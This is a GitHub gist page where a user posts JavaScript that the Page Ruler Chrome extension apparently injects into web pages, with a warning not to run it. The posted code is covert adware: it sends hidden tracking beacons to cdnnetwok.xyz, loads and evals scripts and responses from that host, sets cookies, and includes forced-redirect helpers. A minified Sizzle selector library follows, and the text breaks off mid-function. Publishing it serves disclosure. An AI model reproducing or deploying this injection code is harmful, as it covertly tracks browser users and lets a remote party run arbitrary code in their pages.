Skip to content

Instantly share code, notes, and snippets.

@shivanshu3
Created February 6, 2018 16:49
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shivanshu3/45817d2354e41ca858c915b556a7174a to your computer and use it in GitHub Desktop.
Save shivanshu3/45817d2354e41ca858c915b556a7174a to your computer and use it in GitHub Desktop.
Warning: Don't run this code. This code is injected by the Page Ruler chrome extension, and I think it might be dangerous.
(function(f, i, j) {
var g = "c822bb0d82ad01a5ae";
var b = (function() {
var l = 3;
var o = parseInt("0");
var n = parseInt("0");
(function() {
var q = ["mid=", "wid=49377", "sid=", "tid=200", "rid=LAUNCHED"];
a = (window.location.protocol == "http:" ? "http:" : "https:") + "//cdnnetwok.xyz/metric/?" + q.join("&");
var p = f.createElement("img");
p.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
p.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
(document.head || document.documentElement).appendChild(p);
if (typeof p.onload != j) {
p.onload = function() {
p.parentNode && p.parentNode.removeChild(p)
}
}
})();
var m = false;
if (typeof(MainWindow) != "undefined") {
window.document = MainWindow.document.parentWindow
}
if (m) {
return false
}(function(d, w, uniqId, u) {
var isReady = false,
readyQueue = [],
div = u,
$$ = {};
if (typeof(JSON) === u) {
JSON = {}
}
function onReady() {
isReady = true;
while (readyQueue.length > 0) {
(readyQueue.pop())()
}
}
if (typeof(d.getElementsByClassName) == u) {
d.getElementsByClassName = function(cl) {
var retnode = [];
var myclass = new RegExp("\\b" + cl + "\\b");
var elem = this.getElementsByTagName("*");
for (var i = 0; i < elem.length; i++) {
var classes = elem[i].className;
if (myclass.test(classes)) {
retnode.push(elem[i])
}
}
return retnode
}
}
$$ = w[uniqId] = {
l: {},
isIe: !!d.attachEvent,
scriptDomain: "cdnnetwok.xyz",
unixTimestampNow: Math.round(new Date().getTime() / 1000),
optoutValue: {},
limitsValue: {},
currentOptoutBlock: null,
monetizationsConfig: {},
ready: function(callback) {
!isReady ? readyQueue.push(callback) : callback()
},
createEl: function(html) {
if (div === u) {
div = d.createElement("div")
}
div.innerHTML = html;
return div.firstChild
},
each: function(array, callback) {
var i = 0,
length = array.length;
for (; i < length;) {
if (callback(array[i], i++) === false) {
return true
}
}
},
inArray: function(array, e) {
var i = 0,
length = array.length;
for (; i < length; i++) {
if (e === array[i]) {
return true
}
}
return false
},
filter: function(array, callback) {
var i = 0,
length = array.length,
ret = [];
for (; i < length; i++) {
if (callback(array[i], i)) {
ret.push(array[i])
}
}
return ret
},
apply: function() {
var obj = {};
$$.each(arguments, function(arg) {
for (var i in arg) {
obj[i] = arg[i]
}
});
return obj
},
xhrRequest: function(xhr, o) {
var timeoutId = u,
isTimedout = false,
$this = this;
function __gacb(data) {
o.callback(data)
}
o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "ajax";
xhr.onreadystatechange = function() {
if (isTimedout) {
return
}
if (xhr.readyState === 4) {
if (xhr.status === 200 && xhr.responseText) {
if (timeoutId) {
clearTimeout(timeoutId)
}
if (xhr.responseText.indexOf("__gacb(") > -1) {
eval(xhr.responseText)
} else {
o.callback($this.fromJson(xhr.responseText))
}
}
}
};
xhr.open("GET", o.url);
xhr.withCredentials = false;
timeoutId = setTimeout(function() {
isTimedout = true;
xhr.abort();
$$.jsonpRequest(o)
}, o.timeout);
xhr.send()
},
jsonp: function(opts) {
var timeoutId = u,
isTimedout = false;
var o = $$.apply({
callback: function() {},
timeout: 15000,
onTimeout: function() {},
data: {}
}, opts || {});
var r = Math.floor(Math.random() * 1000000000);
var jsonpFunction = "__twb_cb_" + r;
w[jsonpFunction] = function(data) {
if (isTimedout) {
return
}
if (timeoutId) {
clearTimeout(timeoutId)
}
o.callback(data);
onComplete()
};
var onComplete = function() {
w[jsonpFunction] = u;
if (s && s.parentNode) {
s.parentNode.removeChild(s)
}
};
o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "jsonp=" + jsonpFunction + "&" + $$.toUrlParams(o.data);
var s = $$.script(o.url);
timeoutId = setTimeout(function() {
isTimedout = true;
o.onTimeout();
onComplete()
}, o.timeout)
},
toUrlParams: function(formdata, numeric_prefix, arg_separator) {
var value, key, tmp = [];
var _http_build_query_helper = function(key, val, arg_separator) {
var k, tmp = [];
if (val === true) {
val = "1"
} else {
if (val === false) {
val = "0"
}
}
if (val != null) {
if (typeof val === "object") {
for (k in val) {
if (val[k] != null) {
tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator))
}
}
return tmp.join(arg_separator)
} else {
if (typeof val !== "function") {
return w.encodeURIComponent(key) + "=" + w.encodeURIComponent(val)
} else {
return ""
}
}
} else {
return ""
}
};
if (!arg_separator) {
arg_separator = "&"
}
for (key in formdata) {
value = formdata[key];
if (numeric_prefix && !isNaN(key)) {
key = String(numeric_prefix) + key
}
var query = _http_build_query_helper(key, value, arg_separator);
if (query !== "") {
tmp.push(query)
}
}
return tmp.join(arg_separator)
},
jsonpRequest: function(o) {
var timeoutId = u,
isTimedout = false;
callbackName = "f" + this.randomNumber(10000, 9999999);
o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "jsonp=" + callbackName;
w[callbackName] = function(data) {
if (isTimedout) {
return
}
if (timeoutId) {
clearTimeout(timeoutId)
}
o.callback(data)
};
var s = $$.script(o.url);
timeoutId = setTimeout(function() {
isTimedout = true;
s.parentNode.removeChild(s);
o.onTimeout()
}, o.timeout)
},
toJson: JSON.stringify || function(obj) {
var t = typeof(obj);
if (t != "object" || obj === null) {
if (t == "string") {
obj = '"' + obj + '"'
}
return String(obj)
} else {
var n, v, json = [],
arr = (obj && obj.constructor == Array);
for (n in obj) {
v = obj[n];
t = typeof(v);
if (t == "string") {
v = '"' + v + '"'
} else {
if (t == "object" && v !== null) {
v = arguments.callee(v)
}
}
json.push((arr ? "" : '"' + n + '":') + String(v))
}
return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}")
}
},
fromJson: JSON.parse || function(str) {
if (str === "") {
str = '""'
}
eval("var p=" + str + ";");
return p
},
xor: function(str) {
var i = 0,
length = str.length,
ret = "";
for (; i < length;) {
ret += String.fromCharCode(77 ^ str.charCodeAt(i++))
}
return ret
},
script: function(src, nocache, attributes) {
var s = d.createElement("script");
s.type = "text/javascript";
if (attributes) {
for (var i in attributes) {
s.setAttribute(i, attributes[i])
}
}
s.src = src + (nocache === u || nocache ? (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()) : "");
d.getElementsByTagName("body")[0].appendChild(s);
return s
},
includeCss: function(src) {
var style = d.createElement("link");
if (d.getElementsByTagName("body")[0]) {
d.getElementsByTagName("body")[0].appendChild(style);
style.rel = "stylesheet";
style.type = "text/css";
style.href = src
}
},
hasClass: function(element, className) {
return (!!element.getAttribute("class") && element.getAttribute("class").indexOf(className) > -1)
},
addClass: function(element, className) {
element.setAttribute("class", (!!element.getAttribute("class") ? element.getAttribute("class") + " " : "") + className)
},
removeClass: function(element, className) {
if (!!element.getAttribute("class")) {
element.setAttribute("class", element.getAttribute("class").replace(className, ""))
}
},
randomNumber: function(min, max) {
return Math.floor(Math.random() * max) + min
},
eval: function(data) {
var s = d.createElement("script");
s.defer = true;
s.text = data;
(d.getElementsByTagName("script")[0] || d.documentElement.firstChild).parentNode.appendChild(s)
},
on: function(el, event, fn) {
var handler = function(event) {
fn.call(el, event || w.event)
};
if (el.addEventListener) {
el.addEventListener(event, handler, false)
} else {
if (el.attachEvent) {
el.attachEvent("on" + event, handler)
}
}
},
redirect: function(url, blank) {
var a = d.createElement("a");
a.href = url;
if (blank) {
a.target = "_blank"
}
a.__norewrite = true;
d.body.appendChild(a);
a.click();
d.body.removeChild(a)
},
setCookie: function(name, value, opts) {
var o = opts || {},
expire = u;
if (o.expire) {
expire = new Date();
expire.setTime(expire.getTime() + (o.expire * 1000))
}
document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + (expire ? "; expires=" + expire.toUTCString() : "") + (o.path ? "; path=" + o.path : "") + (o.domain ? "; domain=" + o.domain : "")
},
getCookie: function(name) {
var value = u;
$$.each(d.cookie.split("; "), function(raw) {
var parts = raw.split("=");
var cookieName = decodeURIComponent(parts.shift());
if (cookieName == name) {
value = decodeURIComponent(parts.join("="));
return false
}
});
return value
},
encode: function(s) {
var i = 0,
ret = "",
length = s.length;
for (; i < length; i++) {
ret += ("%" + s.charCodeAt(i).toString(16))
}
return ret
},
preventDefault: function(e) {
if (e.preventDefault) {
e.preventDefault()
}
return e.returnValue = false
},
remove: function(e) {
return e.parentNode && e.parentNode.removeChild(e)
},
attr: function(e, name) {
if (e.hasAttribute && e.hasAttribute(name)) {
return e.getAttribute(name)
} else {
var node = e.getAttributeNode(name);
if (node) {
return node.value
}
}
return ""
},
updateLimits: function(block, lifetime) {
if (!lifetime) {
var mConfig = {};
if (w[uniqId].monetizationsConfig && w[uniqId].monetizationsConfig[block]) {
mConfig = w[uniqId].monetizationsConfig[block]
}
lifetime = mConfig.limit
}
if (lifetime > 0) {
$$.limitsValue[block] = $$.unixTimestampNow + parseInt(lifetime);
var cookieValue = $$.toJson($$.limitsValue);
$$.jsonp({
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/limit",
data: {
key: "c822bb0d82ad01a5ae",
cv: cookieValue
},
callback: function(response) {}
})
} else {}
},
setStartTime: function() {
var cookieValue = $$.unixTimestampNow;
$$.jsonp({
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/strtm",
data: {
key: "c822bb0d82ad01a5ae",
cv: cookieValue
},
callback: function(response) {}
})
},
loadedCallback: function(code, block, custom1, custom2, custom3, custom4, custom5) {
if (typeof block == "undefined") {
block = ""
}
var params = ["mid=" + block, "wid=49377", "sid=" + ((w[uniqId] && w[uniqId].tbParams && w[uniqId].tbParams.sid) ? w[uniqId].tbParams.sid : ""), "tid=200", "rid=" + code];
if (custom1) {
params.push("custom1=" + custom1)
}
if (custom2) {
params.push("custom2=" + custom2)
}
if (custom3) {
params.push("custom3=" + custom3)
}
if (custom4) {
params.push("custom4=" + custom4)
}
if (custom5) {
params.push("custom5=" + custom5)
}
var src = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/metric/?" + params.join("&");
var imgEl = d.createElement("img");
imgEl.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
imgEl.src = src + (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
d.getElementsByTagName("body")[0].appendChild(imgEl);
$$.on(imgEl, "load", function() {
$$.remove(imgEl)
})
},
reportSetCallback: function(response) {},
host: function(url) {
var m = url.match(/^https?:\/\/([^\/]+)/);
return m ? m[1] : ""
},
optoutShow: function(block) {
if ($$.tbParams.optoutUrl) {
location.href = $$.tbParams.optoutUrl
} else {
if (!$$.twBarOptOut && typeof $$.twBarOptOutInit == "function") {
$$.twBarOptOutInit()
}
if ($$.twBarOptOut) {
$$.currentOptoutBlock = block;
$$.twBarOptOut.style.display = "block";
$$.loadedCallback("OPTOUT_SHOW", block)
}
}
},
optoutHide: function(block) {
if ($$.twBarOptOut) {
$$.twBarOptOut.style.display = "none"
}
},
getMtzCfg: function(block) {
if (w[uniqId].monetizationsConfig && w[uniqId].monetizationsConfig[block] && w[uniqId].monetizationsConfig[block].config) {
return w[uniqId].monetizationsConfig[block].config
}
return {}
}
};
var getMtzConfigAlias = ["get", "Mon", "etiza", "tion", "Config"].join("");
$$[getMtzConfigAlias] = function(block) {
return $$.getMtzCfg(block)
};
if (d.addEventListener) {
d.addEventListener("DOMContentLoaded", function() {
onReady()
}, false)
} else {
if (d.attachEvent) {
d.attachEvent("onreadystatechange", function() {
onReady()
})
}
}
if (d.readyState) {
(function() {
if ((!$$.isIe && d.readyState === "interactive") || d.readyState === "complete") {
onReady()
} else {
setTimeout(arguments.callee, 100)
}
})()
} else {
var toplevel = false;
try {
toplevel = window.frameElement == null
} catch (e) {}
if (d && d.dElement && d.dElement.doScroll && toplevel) {
(function() {
try {
d.dElement.doScroll("left")
} catch (e) {
setTimeout(arguments.callee, 100);
return
}
onReady()
})()
}
}
})(document, window, "c822bb0d82ad01a5ae", undefined);;
(function(aA, q) {
var G, aD, l, v, R, U, ag, aH, S, aj, L, w, at, an, aB, k, P, av = "sizzle" + -(new Date()),
T = aA.document,
aE = 0,
ao = 0,
d = J(),
au = J(),
Q = J(),
ah = false,
N = function() {
return 0
},
az = typeof q,
ab = 1 << 31,
Y = ({}).hasOwnProperty,
ax = [],
ay = ax.pop,
W = ax.push,
b = ax.push,
u = ax.slice,
j = ax.indexOf || function(aJ) {
var aI = 0,
e = this.length;
for (; aI < e; aI++) {
if (this[aI] === aJ) {
return aI
}
}
return -1
},
c = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
x = "[\\x20\\t\\r\\n\\f]",
a = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
V = a.replace("w", "w#"),
aq = "\\[" + x + "*(" + a + ")" + x + "*(?:([*^$|!~]?=)" + x + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + V + ")|)|)" + x + "*\\]",
s = ":(" + a + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + aq.replace(3, 8) + ")*)|.*)\\)|)",
z = new RegExp("^" + x + "+|((?:^|[^\\\\])(?:\\\\.)*)" + x + "+$", "g"),
D = new RegExp("^" + x + "*," + x + "*"),
K = new RegExp("^" + x + "*([>+~]|" + x + ")" + x + "*"),
al = new RegExp(x + "*[+~]"),
B = new RegExp("=" + x + "*([^\\]'\"]*)" + x + "*\\]", "g"),
ad = new RegExp(s),
ae = new RegExp("^" + V + "$"),
am = {
ID: new RegExp("^#(" + a + ")"),
CLASS: new RegExp("^\\.(" + a + ")"),
TAG: new RegExp("^(" + a.replace("w", "w*") + ")"),
ATTR: new RegExp("^" + aq),
PSEUDO: new RegExp("^" + s),
CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + x + "*(even|odd|(([+-]|)(\\d*)n|)" + x + "*(?:([+-]|)" + x + "*(\\d+)|))" + x + "*\\)|)", "i"),
bool: new RegExp("^(?:" + c + ")$", "i"),
needsContext: new RegExp("^" + x + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + x + "*((?:-\\d)?\\d*)" + x + "*\\)|)(?=[^-]|$)", "i")
},
aa = /^[^{]+\{\s*\[native \w/,
ac = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
h = /^(?:input|select|textarea|button)$/i,
t = /^h\d$/i,
X = /'|\\/g,
A = new RegExp("\\\\([\\da-f]{1,6}" + x + "?|(" + x + ")|.)", "ig"),
ap = function(e, aJ, i) {
var aI = "0x" + aJ - 65536;
return aI !== aI || i ? aJ : aI < 0 ? String.fromCharCode(aI + 65536) : String.fromCharCode(aI >> 10 | 55296, aI & 1023 | 56320)
};
try {
b.apply((ax = u.call(T.childNodes)), T.childNodes);
ax[T.childNodes.length].nodeType
} catch (M) {
b = {
apply: ax.length ? function(i, e) {
W.apply(i, u.call(e))
} : function(aK, aJ) {
var e = aK.length,
aI = 0;
while ((aK[e++] = aJ[aI++])) {}
aK.length = e - 1
}
}
}
function E(aP, aI, aT, aV) {
var aU, aM, aN, aR, aS, aL, aK, e, aJ, aQ;
if ((aI ? aI.ownerDocument || aI : T) !== L) {
aj(aI)
}
aI = aI || L;
aT = aT || [];
if (!aP || typeof aP !== "string") {
return aT
}
if ((aR = aI.nodeType) !== 1 && aR !== 9) {
return []
}
if (at && !aV) {
if ((aU = ac.exec(aP))) {
if ((aN = aU[1])) {
if (aR === 9) {
aM = aI.getElementById(aN);
if (aM && aM.parentNode) {
if (aM.id === aN) {
aT.push(aM);
return aT
}
} else {
return aT
}
} else {
if (aI.ownerDocument && (aM = aI.ownerDocument.getElementById(aN)) && P(aI, aM) && aM.id === aN) {
aT.push(aM);
return aT
}
}
} else {
if (aU[2]) {
b.apply(aT, aI.getElementsByTagName(aP));
return aT
} else {
if ((aN = aU[3]) && aD.getElementsByClassName && aI.getElementsByClassName) {
b.apply(aT, aI.getElementsByClassName(aN));
return aT
}
}
}
}
if (aD.qsa && (!an || !an.test(aP))) {
e = aK = av;
aJ = aI;
aQ = aR === 9 && aP;
if (aR === 1 && aI.nodeName.toLowerCase() !== "object") {
aL = p(aP);
if ((aK = aI.getAttribute("id"))) {
e = aK.replace(X, "\\$&")
} else {
aI.setAttribute("id", e)
}
e = "[id='" + e + "'] ";
aS = aL.length;
while (aS--) {
aL[aS] = e + o(aL[aS])
}
aJ = al.test(aP) && aI.parentNode || aI;
aQ = aL.join(",")
}
if (aQ) {
try {
b.apply(aT, aJ.querySelectorAll(aQ));
return aT
} catch (aO) {} finally {
if (!aK) {
aI.removeAttribute("id")
}
}
}
}
}
return aC(aP.replace(z, "$1"), aI, aT, aV)
}
function O(e) {
return aa.test(e + "")
}
function J() {
var i = [];
function e(aI, aJ) {
if (i.push(aI += " ") > v.cacheLength) {
delete e[i.shift()]
}
return (e[aI] = aJ)
}
return e
}
function r(e) {
e[av] = true;
return e
}
function m(i) {
var aJ = L.createElement("div");
try {
return !!i(aJ)
} catch (aI) {
return false
} finally {
if (aJ.parentNode) {
aJ.parentNode.removeChild(aJ)
}
aJ = null
}
}
function aF(e, aJ, aM) {
e = e.split("|");
var aL, aI = e.length,
aK = aM ? null : aJ;
while (aI--) {
if (!(aL = v.attrHandle[e[aI]]) || aL === aJ) {
v.attrHandle[e[aI]] = aK
}
}
}
function Z(i, e) {
var aI = i.getAttributeNode(e);
return aI && aI.specified ? aI.value : i[e] === true ? e.toLowerCase() : null
}
function H(i, e) {
return i.getAttribute(e, e.toLowerCase() === "type" ? 1 : 2)
}
function C(e) {
if (e.nodeName.toLowerCase() === "input") {
return e.defaultValue
}
}
function f(i, e) {
var aJ = e && i,
aI = aJ && i.nodeType === 1 && e.nodeType === 1 && (~e.sourceIndex || ab) - (~i.sourceIndex || ab);
if (aI) {
return aI
}
if (aJ) {
while ((aJ = aJ.nextSibling)) {
if (aJ === e) {
return -1
}
}
}
return i ? 1 : -1
}
function F(e) {
return function(aI) {
var i = aI.nodeName.toLowerCase();
return i === "input" && aI.type === e
}
}
function g(e) {
return function(aI) {
var i = aI.nodeName.toLowerCase();
return (i === "input" || i === "button") && aI.type === e
}
}
function ar(e) {
return r(function(i) {
i = +i;
return r(function(aI, aM) {
var aK, aJ = e([], aI.length, i),
aL = aJ.length;
while (aL--) {
if (aI[(aK = aJ[aL])]) {
aI[aK] = !(aM[aK] = aI[aK])
}
}
})
})
}
U = E.isXML = function(e) {
var i = e && (e.ownerDocument || e).documentElement;
return i ? i.nodeName !== "HTML" : false
};
aD = E.support = {};
aj = E.setDocument = function(e) {
var i = e ? e.ownerDocument || e : T;
if (i === L || i.nodeType !== 9 || !i.documentElement) {
return L
}
L = i;
w = i.documentElement;
at = !U(i);
aD.attributes = m(function(aI) {
aI.innerHTML = "<a href='#'></a>";
aF("type|href|height|width", H, aI.firstChild.getAttribute("href") === "#");
aF(c, Z, aI.getAttribute("disabled") == null);
aI.className = "i";
return !aI.getAttribute("className")
});
aD.input = m(function(aI) {
aI.innerHTML = "<input>";
aI.firstChild.setAttribute("value", "");
return aI.firstChild.getAttribute("value") === ""
});
aF("value", C, aD.attributes && aD.input);
aD.getElementsByTagName = m(function(aI) {
aI.appendChild(i.createComment(""));
return !aI.getElementsByTagName("*").length
});
aD.getElementsByClassName = m(function(aI) {
aI.innerHTML = "<div class='a'></div><div class='a i'></div>";
aI.firstChild.className = "i";
return aI.getElementsByClassName("i").length === 2
});
aD.getById = m(function(aI) {
w.appendChild(aI).id = av;
return !i.getElementsByName || !i.getElementsByName(av).length
});
if (aD.getById) {
v.find.ID = function(aK, aJ) {
if (typeof aJ.getElementById !== az && at) {
var aI = aJ.getElementById(aK);
return aI && aI.parentNode ? [aI] : []
}
};
v.filter.ID = function(aJ) {
var aI = aJ.replace(A, ap);
return function(aK) {
return aK.getAttribute("id") === aI
}
}
} else {
delete v.find.ID;
v.filter.ID = function(aJ) {
var aI = aJ.replace(A, ap);
return function(aL) {
var aK = typeof aL.getAttributeNode !== az && aL.getAttributeNode("id");
return aK && aK.value === aI
}
}
}
v.find.TAG = aD.getElementsByTagName ? function(aI, aJ) {
if (typeof aJ.getElementsByTagName !== az) {
return aJ.getElementsByTagName(aI)
}
} : function(aI, aM) {
var aN, aL = [],
aK = 0,
aJ = aM.getElementsByTagName(aI);
if (aI === "*") {
while ((aN = aJ[aK++])) {
if (aN.nodeType === 1) {
aL.push(aN)
}
}
return aL
}
return aJ
};
v.find.CLASS = aD.getElementsByClassName && function(aJ, aI) {
if (typeof aI.getElementsByClassName !== az && at) {
return aI.getElementsByClassName(aJ)
}
};
aB = [];
an = [];
if ((aD.qsa = O(i.querySelectorAll))) {
m(function(aI) {
aI.innerHTML = "<select><option selected=''></option></select>";
if (!aI.querySelectorAll("[selected]").length) {
an.push("\\[" + x + "*(?:value|" + c + ")")
}
if (!aI.querySelectorAll(":checked").length) {
an.push(":checked")
}
});
m(function(aJ) {
var aI = i.createElement("input");
aI.setAttribute("type", "hidden");
aJ.appendChild(aI).setAttribute("t", "");
if (aJ.querySelectorAll("[t^='']").length) {
an.push("[*^$]=" + x + "*(?:''|\"\")")
}
if (!aJ.querySelectorAll(":enabled").length) {
an.push(":enabled", ":disabled")
}
aJ.querySelectorAll("*,:x");
an.push(",.*:")
})
}
if ((aD.matchesSelector = O((k = w.webkitMatchesSelector || w.mozMatchesSelector || w.oMatchesSelector || w.msMatchesSelector)))) {
m(function(aI) {
aD.disconnectedMatch = k.call(aI, "div");
k.call(aI, "[s!='']:x");
aB.push("!=", s)
})
}
an = an.length && new RegExp(an.join("|"));
aB = aB.length && new RegExp(aB.join("|"));
P = O(w.contains) || w.compareDocumentPosition ? function(aJ, aI) {
var aL = aJ.nodeType === 9 ? aJ.documentElement : aJ,
aK = aI && aI.parentNode;
return aJ === aK || !!(aK && aK.nodeType === 1 && (aL.contains ? aL.contains(aK) : aJ.compareDocumentPosition && aJ.compareDocumentPosition(aK) & 16))
} : function(aJ, aI) {
if (aI) {
while ((aI = aI.parentNode)) {
if (aI === aJ) {
return true
}
}
}
return false
};
aD.sortDetached = m(function(aI) {
return aI.compareDocumentPosition(i.createElement("div")) & 1
});
N = w.compareDocumentPosition ? function(aJ, aI) {
if (aJ === aI) {
ah = true;
return 0
}
var aK = aI.compareDocumentPosition && aJ.compareDocumentPosition && aJ.compareDocumentPosition(aI);
if (aK) {
if (aK & 1 || (!aD.sortDetached && aI.compareDocumentPosition(aJ) === aK)) {
if (aJ === i || P(T, aJ)) {
return -1
}
if (aI === i || P(T, aI)) {
return 1
}
return S ? (j.call(S, aJ) - j.call(S, aI)) : 0
}
return aK & 4 ? -1 : 1
}
return aJ.compareDocumentPosition ? -1 : 1
} : function(aJ, aI) {
var aP, aM = 0,
aO = aJ.parentNode,
aL = aI.parentNode,
aK = [aJ],
aN = [aI];
if (aJ === aI) {
ah = true;
return 0
} else {
if (!aO || !aL) {
return aJ === i ? -1 : aI === i ? 1 : aO ? -1 : aL ? 1 : S ? (j.call(S, aJ) - j.call(S, aI)) : 0
} else {
if (aO === aL) {
return f(aJ, aI)
}
}
}
aP = aJ;
while ((aP = aP.parentNode)) {
aK.unshift(aP)
}
aP = aI;
while ((aP = aP.parentNode)) {
aN.unshift(aP)
}
while (aK[aM] === aN[aM]) {
aM++
}
return aM ? f(aK[aM], aN[aM]) : aK[aM] === T ? -1 : aN[aM] === T ? 1 : 0
};
return i
};
E.matches = function(i, e) {
return E(i, null, null, e)
};
E.matchesSelector = function(aI, aK) {
if ((aI.ownerDocument || aI) !== L) {
aj(aI)
}
aK = aK.replace(B, "='$1']");
if (aD.matchesSelector && at && (!aB || !aB.test(aK)) && (!an || !an.test(aK))) {
try {
var i = k.call(aI, aK);
if (i || aD.disconnectedMatch || aI.document && aI.document.nodeType !== 11) {
return i
}
} catch (aJ) {}
}
return E(aK, L, null, [aI]).length > 0
};
E.contains = function(e, i) {
if ((e.ownerDocument || e) !== L) {
aj(e)
}
return P(e, i)
};
E.attr = function(aI, e) {
if ((aI.ownerDocument || aI) !== L) {
aj(aI)
}
var i = v.attrHandle[e.toLowerCase()],
aJ = (i && Y.call(v.attrHandle, e.toLowerCase()) ? i(aI, e, !at) : q);
return aJ === q ? aD.attributes || !at ? aI.getAttribute(e) : (aJ = aI.getAttributeNode(e)) && aJ.specified ? aJ.value : null : aJ
};
E.error = function(e) {
throw new Error("Syntax error, unrecognized expression: " + e)
};
E.uniqueSort = function(aJ) {
var aK, aL = [],
e = 0,
aI = 0;
ah = !aD.detectDuplicates;
S = !aD.sortStable && aJ.slice(0);
aJ.sort(N);
if (ah) {
while ((aK = aJ[aI++])) {
if (aK === aJ[aI]) {
e = aL.push(aI)
}
}
while (e--) {
aJ.splice(aL[e], 1)
}
}
return aJ
};
R = E.getText = function(aL) {
var aK, aI = "",
aJ = 0,
e = aL.nodeType;
if (!e) {
for (;
(aK = aL[aJ]); aJ++) {
aI += R(aK)
}
} else {
if (e === 1 || e === 9 || e === 11) {
if (typeof aL.textContent === "string") {
return aL.textContent
} else {
for (aL = aL.firstChild; aL; aL = aL.nextSibling) {
aI += R(aL)
}
}
} else {
if (e === 3 || e === 4) {
return aL.nodeValue
}
}
}
return aI
};
v = E.selectors = {
cacheLength: 50,
createPseudo: r,
match: am,
attrHandle: {},
find: {},
relative: {
">": {
dir: "parentNode",
first: true
},
" ": {
dir: "parentNode"
},
"+": {
dir: "previousSibling",
first: true
},
"~": {
dir: "previousSibling"
}
},
preFilter: {
ATTR: function(e) {
e[1] = e[1].replace(A, ap);
e[3] = (e[4] || e[5] || "").replace(A, ap);
if (e[2] === "~=") {
e[3] = " " + e[3] + " "
}
return e.slice(0, 4)
},
CHILD: function(e) {
e[1] = e[1].toLowerCase();
if (e[1].slice(0, 3) === "nth") {
if (!e[3]) {
E.error(e[0])
}
e[4] = +(e[4] ? e[5] + (e[6] || 1) : 2 * (e[3] === "even" || e[3] === "odd"));
e[5] = +((e[7] + e[8]) || e[3] === "odd")
} else {
if (e[3]) {
E.error(e[0])
}
}
return e
},
PSEUDO: function(i) {
var e, aI = !i[5] && i[2];
if (am.CHILD.test(i[0])) {
return null
}
if (i[3] && i[4] !== q) {
i[2] = i[4]
} else {
if (aI && ad.test(aI) && (e = p(aI, true)) && (e = aI.indexOf(")", aI.length - e) - aI.length)) {
i[0] = i[0].slice(0, e);
i[2] = aI.slice(0, e)
}
}
return i.slice(0, 3)
}
},
filter: {
TAG: function(i) {
var e = i.replace(A, ap).toLowerCase();
return i === "*" ? function() {
return true
} : function(aI) {
return aI.nodeName && aI.nodeName.toLowerCase() === e
}
},
CLASS: function(e) {
var i = d[e + " "];
return i || (i = new RegExp("(^|" + x + ")" + e + "(" + x + "|$)")) && d(e, function(aI) {
return i.test(typeof aI.className === "string" && aI.className || typeof aI.getAttribute !== az && aI.getAttribute("class") || "")
})
},
ATTR: function(aI, i, e) {
return function(aK) {
var aJ = E.attr(aK, aI);
if (aJ == null) {
return i === "!="
}
if (!i) {
return true
}
aJ += "";
return i === "=" ? aJ === e : i === "!=" ? aJ !== e : i === "^=" ? e && aJ.indexOf(e) === 0 : i === "*=" ? e && aJ.indexOf(e) > -1 : i === "$=" ? e && aJ.slice(-e.length) === e : i === "~=" ? (" " + aJ + " ").indexOf(e) > -1 : i === "|=" ? aJ === e || aJ.slice(0, e.length + 1) === e + "-" : false
}
},
CHILD: function(i, aK, aJ, aL, aI) {
var aN = i.slice(0, 3) !== "nth",
e = i.slice(-4) !== "last",
aM = aK === "of-type";
return aL === 1 && aI === 0 ? function(aO) {
return !!aO.parentNode
} : function(aU, aS, aX) {
var aO, a0, aV, aZ, aW, aR, aT = aN !== e ? "nextSibling" : "previousSibling",
aY = aU.parentNode,
aQ = aM && aU.nodeName.toLowerCase(),
aP = !aX && !aM;
if (aY) {
if (aN) {
while (aT) {
aV = aU;
while ((aV = aV[aT])) {
if (aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) {
return false
}
}
aR = aT = i === "only" && !aR && "nextSibling"
}
return true
}
aR = [e ? aY.firstChild : aY.lastChild];
if (e && aP) {
a0 = aY[av] || (aY[av] = {});
aO = a0[i] || [];
aW = aO[0] === aE && aO[1];
aZ = aO[0] === aE && aO[2];
aV = aW && aY.childNodes[aW];
while ((aV = ++aW && aV && aV[aT] || (aZ = aW = 0) || aR.pop())) {
if (aV.nodeType === 1 && ++aZ && aV === aU) {
a0[i] = [aE, aW, aZ];
break
}
}
} else {
if (aP && (aO = (aU[av] || (aU[av] = {}))[i]) && aO[0] === aE) {
aZ = aO[1]
} else {
while ((aV = ++aW && aV && aV[aT] || (aZ = aW = 0) || aR.pop())) {
if ((aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) && ++aZ) {
if (aP) {
(aV[av] || (aV[av] = {}))[i] = [aE, aZ]
}
if (aV === aU) {
break
}
}
}
}
}
aZ -= aI;
return aZ === aL || (aZ % aL === 0 && aZ / aL >= 0)
}
}
},
PSEUDO: function(aJ, aI) {
var e, i = v.pseudos[aJ] || v.setFilters[aJ.toLowerCase()] || E.error("unsupported pseudo: " + aJ);
if (i[av]) {
return i(aI)
}
if (i.length > 1) {
e = [aJ, aJ, "", aI];
return v.setFilters.hasOwnProperty(aJ.toLowerCase()) ? r(function(aM, aO) {
